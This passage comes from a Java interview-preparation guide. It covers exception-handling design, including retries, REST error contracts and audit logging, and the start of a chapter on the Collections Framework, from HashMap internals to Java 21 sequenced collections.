FOLLOW-UP TRAPS

- **Is the entity safe to reuse after the failure?** It may be detached or in an unknown state; reload it.
- **Which exceptions are retryable?** `CannotAcquireLockException`, `OptimisticLockingFailureException`, not constraint violations.

#retry #transactions #design

Q98 How would you design the global error contract for a REST API? ADVANCED

Use one consistent body for all failures (RFC 9457 `ProblemDetail`), stable machine-readable error codes, a correlation id, and mappings from exception types to statuses in one `@RestControllerAdvice`.

```
{
  "type": "https://api.example.com/errors/order-not-found",
  "title": "Order not found",
  "status": 404,
  "detail": "Order 42 does not exist",
  "code": "ORDER_NOT_FOUND",
  "traceId": "9f1c2a"
}
```

- Validation errors carry a list of `{field, message}`.
- Log 4xx at info/warn without stack traces, 5xx at error with stack traces.
- Do not leak internals; never change codes across versions without versioning.

FOLLOW-UP TRAPS

- **Should the client parse `detail`?** No, it is for humans; use `code`.
- **Why differentiate 4xx and 5xx logging?** Client errors are expected noise, server errors need alerts.

#rest #design #error-contract

Q99 Audit logging must survive a failed business transaction. How? ADVANCED

`audit.record` joined the same transaction, so rollback erases the audit row. Annotate the audit method with `@Transactional(propagation = REQUIRES_NEW)` on a separate bean so it commits independently.

- Needs a second connection; watch pool size under load.
- Alternative: write audit events outside the DB (log, message queue) or use a transactional outbox.

FOLLOW-UP TRAPS

- **Does it work if `audit` is a method of the same class?** No, self-invocation bypasses the proxy.
- **What if the audit commit itself fails?** Decide whether failure should abort the business operation; usually log and continue.

#transactions #requires-new #audit

Q100 Why does `future.get()` throw a different exception than the one the task threw? BASIC

`get()` wraps the task's exception in `ExecutionException`; the real one is `getCause()`, so this prints `java.lang.NumberFormatException: For input string: "x"`.

- `get()` also throws `InterruptedException` (waiting thread interrupted) and `CancellationException` (task cancelled); `get(timeout, unit)` adds `TimeoutException`.

FOLLOW-UP TRAPS

- **Does a timeout cancel the task?** No, call `cancel(true)` yourself.
- **Does `ExecutionException` mean `get` itself failed?** No, the task failed.

#future #executionexception

Q101 Does the retry catch `InterruptedException` correctly? INTERMEDIATE

`catch (Exception)` also catches `InterruptedException` from `call()` and treats it as a retryable failure, ignoring cancellation. Also the original failure is lost in the final exception.

- Catch `InterruptedException` separately, restore the flag and stop.
- Keep the last exception as cause and earlier ones suppressed.

FOLLOW-UP TRAPS

- **Does `Thread.sleep` inside catch compile without `throws`?** No, it throws a checked `InterruptedException`.
- **Why backoff and jitter?** To avoid retry storms on a recovering dependency.

#retry #interrupted #review

Q102 What does this print: exception thrown from a `finally` inside try-with-resources? ADVANCED

`body close finally`. Resources are closed before the optional catch and finally of the same statement.

FOLLOW-UP TRAPS

- **If `body` threw, would finally still be last?** Yes: body, close, catch, finally.
- **Is the resource accessible in `finally`?** No, out of scope.

#try-with-resources #finally #tricky-output

Q103 Why can catching `Throwable` in a task loop be dangerous? ADVANCED

It also catches `OutOfMemoryError`, `StackOverflowError`, `LinkageError` and `InterruptedException`. The loop may spin on an unrecoverable condition, log noisily or fail again while allocating, and ignore shutdown interrupts.

- Catch `Exception`, handle `InterruptedException` separately, and let `VirtualMachineError` terminate the process (use `ExitOnOutOfMemoryError`).

FOLLOW-UP TRAPS

- **Is logging after OOM reliable?** Not necessarily; it may need to allocate.
- **Does `catch (Exception)` suffice to keep the loop alive for bugs?** Yes for normal failures.

#throwable #error #resilience

Q104 What does printing the nested exception show? INTERMEDIATE

```
java.lang.IllegalStateException: load failed
java.io.IOException: disk
load failed
```

`getMessage()` is only the wrapper's message; the cause message is separate.

FOLLOW-UP TRAPS

- **What does `new IllegalStateException(e)` give for `getMessage()`?** `java.io.IOException: disk`.
- **Which comes first in a printed stack trace?** The outer exception, then "Caused by".

#cause #stacktrace #tricky-output

Q105 Interview question: how do you handle exceptions across a layered Spring application? ADVANCED

Each layer throws exceptions meaningful at its abstraction, preserving causes; only the outermost boundary maps them to protocol responses and logs.

- Repositories: Spring translates to `DataAccessException`; services convert to domain exceptions (`OrderNotFoundException`, `InsufficientStockException`).
- Controllers contain no try/catch; `@RestControllerAdvice` maps domain exceptions to `ProblemDetail`.
- Transactions: declare rollback rules for checked domain exceptions explicitly.
- Observability: log once with a trace id, metrics per exception type, alerts on 5xx.

FOLLOW-UP TRAPS

- **Should domain exceptions depend on HTTP?** No; mapping to status codes lives in the web layer.
- **Where do you retry?** At the outermost unit of work, outside the transaction.

#design #layers #spring

CORE JAVA · CHAPTER 6

Java Collections Framework

List, Set, Map, Queue and Deque hierarchy, HashMap internals, ordering, fail-fast iteration, immutable and concurrent collections, sequenced collections and real-world pitfalls.

106 questions **34** basic **55** intermediate **17** advanced

Theory

Q1 Describe the Java Collections Framework hierarchy. BASIC

`Iterable` -> `Collection` -> `List`, `Set`, `Queue` (and `Deque` extends `Queue`). `Map` is a separate hierarchy and does not extend `Collection`.

- `List`: ordered, indexed, duplicates allowed (`ArrayList`, `LinkedList`).
- `Set`: no duplicates (`HashSet`, `LinkedHashSet`, `TreeSet`); `SortedSet` -> `NavigableSet`.
- `Queue` / `Deque`: head/tail operations (`PriorityQueue`, `ArrayDeque`, `LinkedList`).
- `Map`: key-value (`HashMap`, `LinkedHashMap`, `TreeMap`); `SortedMap` -> `NavigableMap`.

FOLLOW-UP TRAPS

- **Does `Map` extend `Collection`?** No. You use `keySet()`, `values()` and `entrySet()` views.
- **Is `Collection` the same as `Collections`?** No. `Collections` is a utility class with static helpers.

#hierarchy #interfaces

Q2 What is the difference between ArrayList and LinkedList? BASIC

`ArrayList` is backed by a resizable array: O(1) random access, amortized O(1) append, O(n) insert/remove in the middle. `LinkedList` is a doubly linked list: O(1) insert/remove at a known node or the ends, but O(n) access by index.

- In practice `ArrayList` wins almost always: contiguous memory is cache friendly and each `LinkedList` node costs ~24 extra bytes (header + prev + next + item reference).
- `LinkedList` implements `Deque` too, but `ArrayDeque` is usually faster for that role.

FOLLOW-UP TRAPS

- **Is removing in the middle of a `LinkedList` O(1)?** Only if you already hold the node/iterator position. Finding it by index is O(n).
- **Is `LinkedList.get(i)` fast near the ends?** It walks from the nearer end, so it is O(min(i, n-i)), still O(n) overall.

#arraylist #linkedlist #complexity

Q3 How does ArrayList grow internally? BASIC

The default constructor starts with an empty shared array and allocates capacity 10 on first `add`. When full it grows to `old + (old >> 1)`, i.e. 1.5x, by copying with `Arrays.copyOf`.

- Use `new ArrayList<>(n)` or `ensureCapacity` when the size is known to avoid repeated copying.
- `trimToSize()` releases unused slots.

FOLLOW-UP TRAPS

- **Is the initial capacity 10 at construction?** No, it is lazy (Java 8+); `new ArrayList<>(0)` and the default both start empty.
- **Does `remove` shrink the array?** No, capacity never shrinks automatically.

#arraylist #capacity

Q4 Explain how HashMap works internally. BASIC

`HashMap` keeps an array of buckets (`Node<K,V>[] table`). The key's `hashCode()` is spread, masked to an index, and the entry is stored in that bucket as a linked list (or a red-black tree when large). Lookup compares hash then `equals`.

- Index = `(n - 1) & hash` where `n` is a power of two.
- Spread function: `h ^ (h >>> 16)` mixes high bits into low bits.
- Default capacity 16, load factor 0.75.
- Allows one `null` key and many `null` values; not thread-safe.

FOLLOW-UP TRAPS

- **Why is capacity always a power of two?** So the index is a cheap bitmask instead of a modulo, and resize can split buckets without rehashing.
- **Which is compared first, `equals` or hash?** Stored hash first (cheap), then reference `==`, then `equals`.

#hashmap #internals

Q5 What is the load factor and when does HashMap resize? BASIC

Resize happens when `size > threshold`, where `threshold = capacity * loadFactor` (12 for the default 16 x 0.75). The table doubles and entries are redistributed.

- Higher load factor saves memory but increases collisions; lower speeds lookups but wastes memory.
- Resize is O(n) and happens on the writing thread.

FOLLOW-UP TRAPS

- **When does resize trigger exactly, at the 12th or 13th put?** On the 13th insertion, because the check is `++size > threshold`.
- **Does the table ever shrink?** No.

#hashmap #resize #load-factor

Q6 How does resizing work in Java 8 HashMap and what changed from Java 7? INTERMEDIATE

Because capacity doubles, each entry either stays at index `i` or moves to `i + oldCap`, decided by one bit: `(hash & oldCap) == 0`. Java 8 splits each bucket into a "lo" and "hi" list preserving relative order.

- Java 7 re-inserted nodes at the head of the new bucket, which reversed order and could create a cycle (infinite loop) when two threads resized concurrently.
- Java 8 preserves order, so the classic cyclic-list hang is gone, but concurrent use is still unsafe (lost updates, corrupted tree).
- Java 8 also appends new nodes at the tail and adds treeification.

FOLLOW-UP TRAPS

- **Does Java 8 make HashMap thread-safe enough to share?** No; data loss and inconsistent state are still possible.
- **Is rehashing needed on resize?** No, the stored full hash is reused; only one extra bit is examined.

#hashmap #java8 #resize

Q7 What is treeification in HashMap? INTERMEDIATE

When a single bucket reaches `TREEIFY_THRESHOLD = 8` nodes **and** the table has at least `MIN_TREEIFY_CAPACITY = 64` slots, the list becomes a red-black tree, bounding worst-case lookup at O(log n) instead of O(n).

- If the table is smaller than 64, `HashMap` resizes instead of treeifying.
- Trees untreeify when they shrink to `UNTREEIFY_THRESHOLD = 6` (during resize split/removal).
- Tree ordering uses `hashCode`, then `Comparable` if the keys implement it, then a tie-break by identity hash; non-comparable keys make lookups in a tree bucket slower.

FOLLOW-UP TRAPS

- **Does 8 colliding entries always produce a tree?** No, only with table capacity >= 64.
- **Why 8 and 6 rather than the same number?** Hysteresis avoids flip-flopping between structures.

#hashmap #treeify #java8

Q8 Why must keys be immutable, and what is the equals/hashCode contract? BASIC

Equal objects must return equal hash codes; hash code must be stable while the object is a key. If a field used in `hashCode` changes after insertion, the entry sits in the wrong bucket and becomes unreachable.

- Override both together; use the same fields in both.
- Prefer immutable keys (`String`, `Integer`, records, enums).
- Unequal objects may share a hash code (collisions are legal, just slow).

FOLLOW-UP TRAPS

- **If I override only `equals`, what breaks?** Hash-based collections may treat equal objects as different, since identity hash is used.
- **Can `hashCode` return a constant?** Legal but degrades to O(n) (O(log n) for comparable keys with treeification).

#equals #hashcode #contract

Q9 How does HashSet work? BASIC

`HashSet` wraps a `HashMap`; elements are the keys and every value is a shared dummy object `PRESENT`. `add` returns `true` if `map.put(e, PRESENT) == null`.

- Same complexity and resize behaviour as `HashMap`.
- Allows one `null`; iteration order is unspecified.

FOLLOW-UP TRAPS

- **What does `add` return for a duplicate?** `false`, and the existing element is *not* replaced.
- **Does `HashSet` copy the element?** No, it stores the reference.

#hashset #internals

Q10 HashSet vs LinkedHashSet vs TreeSet. BASIC

`HashSet`: no order, O(1). `LinkedHashSet`: insertion order, O(1), extra memory for a linked list. `TreeSet`: sorted order by `Comparable` / `Comparator`, O(log n), backed by a `TreeMap`.

- `TreeSet` uses `compareTo` / `compare` for equality, not `equals`.
- `TreeSet` rejects `null` (with natural ordering) and offers `floor`, `ceiling`, `headSet`, `tailSet`, `descendingSet`.

FOLLOW-UP TRAPS

- **Does re-adding an element change `LinkedHashSet` order?** No, insertion order is not affected by re-insertion.
- **Can a `TreeSet` contain two objects that are not `equals`?** No, if `compare` returns 0 they are duplicates.

#set #ordering

Q11 HashMap vs LinkedHashMap vs TreeMap vs Hashtable. BASIC

`HashMap`: unordered, O(1), nulls allowed. `LinkedHashMap`: insertion (or access) order, O(1). `TreeMap`: sorted by key, O(log n), no null keys with natural ordering. `Hashtable`: legacy, synchronized on every method, no nulls.

- For thread safety use `ConcurrentHashMap`, not `Hashtable` or `synchronizedMap` for high contention.

FOLLOW-UP TRAPS

- **Why does `Hashtable` reject nulls?** It calls `key.hashCode()` and `value.equals` directly, and ambiguity of null results was avoided by design (same reason `ConcurrentHashMap` bans nulls).
- **Is `Hashtable` fully deprecated?** Not formally, but it is obsolete and should not be used.

#map #comparison

Q12 How does LinkedHashMap support access order and an LRU cache? INTERMEDIATE

Construct with `accessOrder = true` so `get`/`put` move the entry to the tail; override `removeEldestEntry` to evict the head when size exceeds a limit.

```
class LruCache<K, V> extends LinkedHashMap<K, V> {
    private final int max;
    LruCache(int max) { super(16, 0.75f, true); this.max = max; }
    @Override protected boolean removeEldestEntry(Map.Entry<K, V> e) {
        return size() > max;
    }
}
```

- Not thread-safe; wrap with `Collections.synchronizedMap` or use Caffeine for production.

FOLLOW-UP TRAPS

- **Does `containsKey` update access order?** No; `get`, `getOrDefault`, `put`, `compute*`, `merge` do.
- **Is iterating while calling `get` safe in access-order mode?** No, `get` is a structural modification and throws `ConcurrentModificationException`.

#linkedhashmap #lru

Q13 How does TreeMap work and what are its guarantees? INTERMEDIATE

`TreeMap` is a red-black tree implementing `NavigableMap`. `get`, `put`, `remove`, `containsKey` are O(log n); keys are ordered by `Comparable` or a supplied `Comparator`.

- Navigation: `firstKey`, `lastKey`, `floorKey`, `ceilingKey`, `higherKey`, `lowerKey`, `subMap`, `headMap`, `tailMap`, `descendingMap`.
- Key equality is defined by `compare == 0`, so an inconsistent comparator violates the `Map` contract.
- Not synchronized; `ConcurrentSkipListMap` is the concurrent sorted alternative.

FOLLOW-UP TRAPS

- **Can `TreeMap` hold a `null` key?** Not with natural ordering (NPE); a custom comparator may allow it.
- **Are `subMap` results copies?** No, they are live views backed by the original map.

#treemap #red-black-tree

Q14 When should you use EnumMap and EnumSet? INTERMEDIATE

Use them whenever keys/elements are of one enum type. `EnumMap` is an array indexed by `ordinal()`, `EnumSet` is a bit vector (`RegularEnumSet` for <= 64 constants, a `long[]` otherwise).

- Faster and smaller than `HashMap` / `HashSet`; iteration follows enum declaration order.
- Null keys are rejected; not thread-safe.
- Iterators are weakly consistent (no `ConcurrentModificationException`).

FOLLOW-UP TRAPS

- **Why should you not use `ordinal()` yourself?** It is brittle if constants are reordered; `EnumMap` hides it.
- **Can you create an `EnumSet` with `new`?** No, only via factories like `noneOf`, `allOf`, `of`, `range`.

#enummap #enumset

Q15 How does PriorityQueue work? INTERMEDIATE

`PriorityQueue` is an array-backed binary min-heap. `offer` / `poll` are O(log n), `peek` is O(1), `remove(Object)` and `contains` are O(n).

- Ordering from `Comparable` or `Comparator`; head is the *least* element.
- Iteration and `toString` do **not** return sorted order, only heap array order.
- Not thread-safe (`PriorityBlockingQueue` is); no `null` elements; not stable for equal priorities.
- Building from a collection uses O(n) heapify.

FOLLOW-UP TRAPS

- **How do you get a max-heap?** `new PriorityQueue<>(Comparator.reverseOrder())`.
- **How to preserve FIFO among equal priorities?** Add a monotonically increasing sequence number to the comparison.

#priorityqueue #heap

Q16 ArrayDeque vs LinkedList vs Stack for stack/queue usage. INTERMEDIATE

Prefer `ArrayDeque` for both stack (`push` / `pop`) and queue (`offer` / `poll`) use: it is a resizable circular array, faster than `LinkedList` and without the `Vector` synchronization of legacy `Stack`.

- `ArrayDeque` rejects `null` (null is the empty sentinel for `poll` / `peek`); `LinkedList` allows it.
- Capacity is always a power of two; no index access.
- `Stack` extends `Vector`, is synchronized and exposes list operations that break LIFO discipline.

FOLLOW-UP TRAPS

- **What does `pop` do on an empty `ArrayDeque`?** Throws `NoSuchElementException`; `poll` / `pollFirst` returns `null`.
- **Is `ArrayDeque` thread-safe?** No; use `ConcurrentLinkedDeque` or `LinkedBlockingDeque`.

#arraydeque #deque #stack

Q17 What are the Queue method families (add/offer, remove/poll, element/peek)? BASIC

Each operation has a throwing and a non-throwing form: `add` / `offer`, `remove` / `poll`, `element` / `peek`. Throwing forms raise `IllegalStateException` (full) or `NoSuchElementException` (empty); the others return `false` or `null`.

- For bounded queues, `offer` returns `false` when full; blocking queues add `put` / `take` and timed `offer` / `poll`.

FOLLOW-UP TRAPS

- **Why avoid `null` elements in queues?** `poll()` returning `null` becomes ambiguous.
- **Which form to use in bounded producer/consumer?** `offer` with timeout or `put`, based on desired back-pressure.

#queue #api

Q18 What is the difference between fail-fast and fail-safe iterators? INTERMEDIATE

Fail-fast iterators (`ArrayList`, `HashMap`, `HashSet`) check `modCount` and throw `ConcurrentModificationException` on detected structural change. "Fail-safe" (more precisely weakly consistent or snapshot) iterators never throw it.

- `CopyOnWriteArrayList`: iterator works on an immutable snapshot, never sees later changes.
- `ConcurrentHashMap`: weakly consistent, may or may not reflect updates made after creation.
- Fail-fast is best effort, not a guarantee; do not rely on it for correctness.

FOLLOW-UP TRAPS

- **Does fail-fast mean thread-safe detection?** No, it is a debugging aid, not guaranteed under races.
- **Do fail-safe iterators support `remove`?** Snapshot iterators of `CopyOnWriteArrayList` throw `UnsupportedOperationException` on `remove`.

#iterator #fail-fast #fail-safe

Q19 What causes ConcurrentModificationException and how do you avoid it? BASIC

The iterator's expected `modCount` differs from the collection's after a structural change made outside the iterator (add/remove during a for-each). Avoid it with `Iterator.remove()`, `removeIf`, collecting items to remove first, or a concurrent collection.

```
list.removeIf(s -> s.isEmpty());          // preferred
for (Iterator<String> it = list.iterator(); it.hasNext();)
    if (it.next().isEmpty()) it.remove();  // also safe
```

FOLLOW-UP TRAPS

- **Is a single-threaded program immune?** No, the classic case is single-threaded.
- **Is `set(i, x)` on an `ArrayList` during iteration a CME?** No, it is not structural.

#cme #iterator

Q20 Explain Comparable vs Comparator. BASIC

`Comparable<T>` defines the natural ordering inside the class (`compareTo`). `Comparator<T>` is an external, pluggable ordering (`compare`), so a type can have many.

```
people.sort(Comparator.comparing(Person::lastName)
        .thenComparing(Person::firstName)
        .thenComparingInt(Person::age));
```

- `compareTo` should be consistent with `equals` (strongly recommended), especially for `TreeSet` / `TreeMap`.

FOLLOW-UP TRAPS

- **Why not `return a - b` in a comparator?** Integer overflow gives wrong sign; use `Integer.compare`.
- **How to sort nulls last?** `Comparator.nullsLast(...)`.

#comparable #comparator

Q21 What does "consistent with equals" mean for compareTo?

INTERMEDIATE

`compare(a, b) == 0` iff `a.equals(b)`. When violated, sorted collections use the comparator for identity, so they behave differently from hash-based collections.

- `BigDecimal("1.0")` and `BigDecimal("1.00")` are not `equals` but `compareTo == 0`: a `TreeSet` keeps one, a `HashSet` keeps both.

FOLLOW-UP TRAPS

- **Is it illegal to be inconsistent?** No, but it must be documented.
- **Is `Double` natural ordering consistent with `==`?** No; `-0.0 < 0.0` and `NaN` equals itself in `compareTo`.

#comparable #treeset #equals

Q22 Is Collections.sort / List.sort stable? Which algorithm?

INTERMEDIATE

Yes for object sorting: `List.sort`, `Collections.sort`, and `Arrays.sort(T[], Comparator)` use TimSort (stable merge/insertion hybrid, O(n log n), near O(n) on presorted data). `Arrays.sort(int[])` uses dual-pivot quicksort, which is not stable (stability is irrelevant for primitives).

- Stability allows multi-key sorting by sorting on the minor key first.
- `Stream.sorted()` is stable for ordered streams.

FOLLOW-UP TRAPS

- **Can TimSort throw?** Yes, `IllegalArgumentException: Comparison method violates its general contract!` for inconsistent comparators.
- **Is `PriorityQueue` stable?** No.

#sorting #stability

Q23 What is the difference between unmodifiable, immutable and synchronized collection wrappers?

INTERMEDIATE

`Collections.unmodifiableList(l)` is a read-only **view**: changes to the backing list show through. `List.copyOf` / `List.of` are truly immutable (no backing, no mutators). Both are shallow: elements themselves can be mutable.

- `Collections.synchronizedList` wraps every method with a mutex; iteration still needs manual `synchronized (list)`.
- Immutable factories (Java 9+) reject `null`.

FOLLOW-UP TRAPS

- **Is `Collections.unmodifiableList` safe to publish?** Only if nobody keeps a reference to the backing list.
- **Does `List.copyOf(list)` always copy?** No, if the argument is already an immutable `List.of` result it returns the same instance.

#immutable #unmodifiable

Q24 How do List.of, Set.of and Map.of behave?

INTERMEDIATE

They return compact immutable collections: mutators throw `UnsupportedOperationException`, nulls throw `NullPointerException`, `Set.of` / `Map.of` throw `IllegalArgumentException` on duplicates, and `Set` / `Map` iteration order is unspecified and varies per JVM run (randomized salt).

- `Map.of` supports up to 10 pairs; use `Map.ofEntries(Map.entry(...))` for more.
- `contains(null)` on a `List.of` throws NPE, unlike `ArrayList`.

> **FOLLOW-UP TRAPS**
> - **Is `Arrays.asList` immutable?** No, fixed-size: `set` works, `add` / `remove` throw, and writes go through to the array.
> - **Can iteration order of `Set.of` be relied on?** No, it changes between runs.

#immutable #java9 #factories

Q25 What does Arrays.asList return and what are the traps? BASIC

A fixed-size `List` view over the array (`Arrays$ArrayList`). `set` writes through to the array; `add` and `remove` throw `UnsupportedOperationException`.

- `Arrays.asList(int[])` yields `List<int[]>` of size 1, since primitives do not autobox into varargs.
- Wrap with `new ArrayList<>(Arrays.asList(...))` for a growable copy.

> **FOLLOW-UP TRAPS**
> - **Does changing the array alter the list?** Yes, they share storage.
> - **`Arrays.asList(1,2,3).size()` vs `Arrays.asList(new int[]{1,2,3}).size()`?** 3 vs 1.

#arrays #aslist

Q26 Why does subList require care? INTERMEDIATE

`subList(from, to)` is a live view of the parent. Writes go through both ways; structurally modifying the parent afterwards makes the view throw `ConcurrentModificationException` on next use.

- Idiom: `list.subList(a, b).clear()` removes a range efficiently.
- A long-lived `subList` retains the whole parent (memory leak); copy with `new ArrayList<>(list.subList(a, b))`.

> **FOLLOW-UP TRAPS**
> - **Is `subList` O(n) to create?** No, O(1) view creation.
> - **Is `String.substring` the same kind of view?** No; since Java 7u6 it copies.

#sublist #views

Q27 What are Collections utility methods you should know? BASIC

`sort`, `reverse`, `shuffle`, `binarySearch` (requires sorted list), `max` / `min`, `frequency`, `swap`, `rotate`, `nCopies`, `emptyList`, `singletonList`, `unmodifiableXxx`, `synchronizedXxx`, `disjoint`, `addAll`, `reverseOrder`.

- `emptyList()` and `singletonList()` return immutable shared instances.
- `binarySearch` on an unsorted list gives undefined results; on `LinkedList` it degrades to O(n) steps.

> **FOLLOW-UP TRAPS**
> - **What does `binarySearch` return if absent?** `-(insertionPoint) - 1`.
> - **Is `Collections.shuffle` deterministic?** Only with a seeded `Random`.

#collections #utilities

Q28 Time complexity of common collection operations. INTERMEDIATE

Average costs:

- `ArrayList`: get O(1), add end O(1) amortized, add/remove middle O(n), contains O(n).
- `LinkedList`: get O(n), add/remove ends O(1), contains O(n).
- `HashMap` / `HashSet`: get/put/contains O(1) average, O(log n) worst case once a bucket is treeified (O(n) only for a long chain below the treeify threshold).

- `TreeMap` / `TreeSet`: O(log n).
- `PriorityQueue`: offer/poll O(log n), peek O(1), remove(Object) O(n).
- `ArrayDeque`: ends O(1).

FOLLOW-UP TRAPS

- **Is `HashMap.get` truly O(1)?** Amortized average assuming good hashing; iteration is O(capacity + size).
- **Is `size()` O(1) for all?** Yes for the standard ones (`ConcurrentLinkedQueue.size()` is O(n)).

#complexity #big-o

Q29 How much memory do collections use? Compare boxed collections to arrays. ADVANCED

Collections store references, so `List<Integer>` costs about 4-8 bytes per slot (compressed oops) plus 16 bytes per `Integer` object outside the cache, versus 4 bytes for `int[]`.

- `HashMap.Node` is ~32 bytes (header 12, hash 4, key, value, next refs, aligned) on top of the table slot; `HashMap<Integer,Integer>` is roughly 70+ bytes per entry including boxed key/value.
- `TreeMap.Entry` is ~40 bytes; `LinkedList.Node` ~24 bytes.
- Remedies: primitive arrays, `EnumMap`, specialized libraries (Eclipse Collections, fastutil), right-sized capacity.

FOLLOW-UP TRAPS

- **Does `ArrayList` waste memory?** Up to ~33% spare capacity after growth; use `trimToSize` for long-lived lists.
- **Are Valhalla value types available?** Not in a released Java baseline here; do not assume it.

#memory #boxing

Q30 How should you size a HashMap for N expected entries? INTERMEDIATE

Pass an initial capacity of `ceil(N / 0.75)` so no resize occurs. `new HashMap<>(N)` is wrong because it resizes once N exceeds 0.75*N rounded to a power of two.

```
int cap = (int) Math.ceil(n / 0.75);
Map<String, Integer> m = new HashMap<>(cap);
// Java 19+: HashMap.newHashMap(n)
```

- The constructor rounds capacity up to the next power of two via `tableSizeFor`.
- The table is allocated lazily on first `put`.

FOLLOW-UP TRAPS

- **What does `new HashMap<>(100)` actually allocate?** 128 slots, threshold 96.
- **Is there a helper?** `HashMap.newHashMap(int)` and `HashSet.newHashSet(int)` since Java 19.

#capacity #hashmap

Q31 What does hashCode of String, List and records look like, and how do you write a good one? INTERMEDIATE

`String.hashCode` is `s[0]*31^(n-1) + ... + s[n-1]` (cached). `List.hashCode` combines element hashes the same 31-based way. Use `Objects.hash(a, b)` (allocates a varargs array) or let a **record** generate `equals` / `hashCode` / `toString`.

```
record Point(int x, int y) {}
Set<Point> s = new HashSet<>(List.of(new Point(1, 2)));
s.contains(new Point(1, 2)); // true
```

FOLLOW-UP TRAPS

- **Is a record's hash code specified exactly?** No, only that it is consistent with `equals`.
- **Why 31?** An odd prime; `31*i == (i << 5) - i` is cheap to compute.

#hashcode #records

Q32 What is the difference between Iterator and ListIterator, and Iterable vs Iterator? BASIC

`Iterable` produces an `Iterator` (enables for-each). `Iterator` supports `hasNext`, `next`, `remove`. `ListIterator` (lists only) adds backward traversal, `add`, `set`, `nextIndex`, `previousIndex`.

FOLLOW-UP TRAPS

- **Can you call `remove()` twice in a row?** No, `IllegalStateException`; each `remove` must follow a `next`.
- **Does for-each on an array use `Iterator`?** No, an indexed loop.

#iterator #listiterator

Q33 Describe the concurrent collections and when to pick each. INTERMEDIATE

- `ConcurrentHashMap`: general-purpose concurrent map.
- `CopyOnWriteArrayList` / `CopyOnWriteArraySet`: read-heavy, rarely modified (listeners).
- `ConcurrentLinkedQueue` / `Deque`: lock-free unbounded.
- `BlockingQueue` (`ArrayBlockingQueue`, `LinkedBlockingQueue`, `PriorityBlockingQueue`, `SynchronousQueue`, `DelayQueue`): producer/consumer.
- `ConcurrentSkipListMap` / `Set`: concurrent sorted.

FOLLOW-UP TRAPS

- **Why not `Collections.synchronizedMap` everywhere?** Single lock, compound actions (check-then-act) still need external locking.
- **Is `Vector` thread-safe for iteration?** Individual calls yes; iteration with modification still throws CME.

#concurrent #thread-safety

Q34 How does ConcurrentHashMap work in Java 8+ versus Java 7? ADVANCED

Java 7 used 16 lock-striped `Segment`s (each a `ReentrantLock` over a mini hash table). Java 8+ removed segments: an empty bucket is filled with a lock-free CAS; otherwise it uses `synchronized` on the bucket's first node. Resizing is cooperative (multiple threads migrate bins), and bins treeify like `HashMap`.

- Reads are lock-free (`volatile` fields); `size()` uses striped `CounterCell`s (like `LongAdder`), so it is an estimate under concurrency.
- No `null` keys or values.

FOLLOW-UP TRAPS

- **Is `if (!m.containsKey(k)) m.put(k, v)` safe?** No, use `putIfAbsent` / `computeIfAbsent`.
- **Can `computeIfAbsent` call other map operations in its function?** No; it can deadlock or throw `IllegalStateException` (recursive update).

#concurrenthashmap #internals

Q35 How does CopyOnWriteArrayList work and what are its costs? INTERMEDIATE

Each mutation copies the backing array under a lock and publishes it via a `volatile` reference; reads and iterators use the array snapshot without locking.

- Mutation O(n) time and memory; excellent for many readers and rare writers (listener lists).
- Iterators never throw CME but may show stale data and do not support `remove`.

FOLLOW-UP TRAPS

- **Is `addIfAbsent` atomic?** Yes.
- **Good for a write-heavy log buffer?** No; each add copies the whole array.

#copyonwrite #concurrent

Q36 Explain BlockingQueue implementations and their differences. INTERMEDIATE

`ArrayBlockingQueue`: bounded, one lock, array. `LinkedBlockingQueue`: optionally bounded (default `Integer.MAX_VALUE`), separate put/take locks, higher throughput. `PriorityBlockingQueue`: unbounded heap. `SynchronousQueue`: zero capacity hand-off. `DelayQueue`: elements available after a delay. `LinkedTransferQueue`: `transfer` waits for consumer.

- Unbounded queues can cause `OutOfMemoryError` when producers outpace consumers.
- `Executors.newFixedThreadPool` uses an unbounded `LinkedBlockingQueue`; `newCachedThreadPool` uses `SynchronousQueue`.

FOLLOW-UP TRAPS

- **Which gives back-pressure?** A bounded queue with blocking `put` or `offer` with timeout.
- **Does `LinkedBlockingQueue.size()` take a lock?** No, it reads an `AtomicInteger`.

#blockingqueue #producer-consumer

Q37 What are sequenced collections in Java 21? INTERMEDIATE

JEP 431 adds `SequencedCollection`, `SequencedSet`, `SequencedMap` with a defined encounter order and uniform methods: `getFirst`, `getLast`, `addFirst`, `addLast`, `removeFirst`, `removeLast`, and `reversed()` (a live reversed view).

- `List`, `Deque`, `LinkedHashSet`, `SortedSet` (`TreeSet`) are sequenced; `LinkedHashMap` and `SortedMap` implement `SequencedMap` (`firstEntry`, `lastEntry`, `pollFirstEntry`, `putFirst`, `putLast`, `sequencedKeySet`...).
- `HashSet` / `HashMap` are **not** sequenced.

FOLLOW-UP TRAPS

- **What does `getFirst()` do on an empty list?** Throws `NoSuchElementException` (previously `list.get(0)` threw `IndexOutOfBoundsException`).
- **What does `addFirst` do on `TreeSet`?** `UnsupportedOperationException`; order is by comparator.

#java21 #sequenced

Q38 Is List.reversed() a copy? INTERMEDIATE

No, it is a live view. Changes to the original appear in the reversed view and vice versa (for modifiable lists). Copy explicitly when a snapshot is needed.

```
List<Integer> l = new ArrayList<>(List.of(1, 2, 3));
List<Integer> r = l.reversed();
l.add(4);
System.out.println(r); // [4, 3, 2, 1]
```

FOLLOW-UP TRAPS

- **Before Java 21, how to reverse in place?** `Collections.reverse(list)` (mutates) or iterate `descendingIterator`.
- **Does `reversed()` on `List.of` allow writes?** No, it stays immutable.

#java21 #sequenced #views

Q39 Difference between Iterator order for HashMap and why HashMap order is not guaranteed. BASIC

Iteration walks the table from index 0 up, each bucket in chain/tree-next order, so order depends on hash values, capacity and insertion history. It can change after a resize or between JVM versions.

FOLLOW-UP TRAPS

- **Small `Integer` keys often iterate sorted; is that guaranteed?** No, it is an artifact of `hash(i) == i` and a large enough table.
- **Which map gives predictable order?** `LinkedHashMap` or `TreeMap`.

#hashmap #ordering

Q40 How do Map.computeIfAbsent, merge, compute, getOrDefault and putIfAbsent differ? INTERMEDIATE

- `getOrDefault(k, d)`: read only, does not insert.
- `putIfAbsent(k, v)`: inserts if absent or mapped to `null`; returns the old value (eagerly evaluated `v`).
- `computeIfAbsent(k, f)`: lazy value creation; inserts the result unless `null`; returns the current value.
- `merge(k, v, f)`: inserts `v` if absent, else `f(old, v)`; a `null` result removes the key.
- `compute(k, f)`: full control, `null` result removes.

```
Map<String, List<String>> g = new HashMap<>();
g.computeIfAbsent("a", k -> new ArrayList<>()).add("x");
Map<String, Integer> c = new HashMap<>();
for (String w : words) c.merge(w, 1, Integer::sum);
```

FOLLOW-UP TRAPS

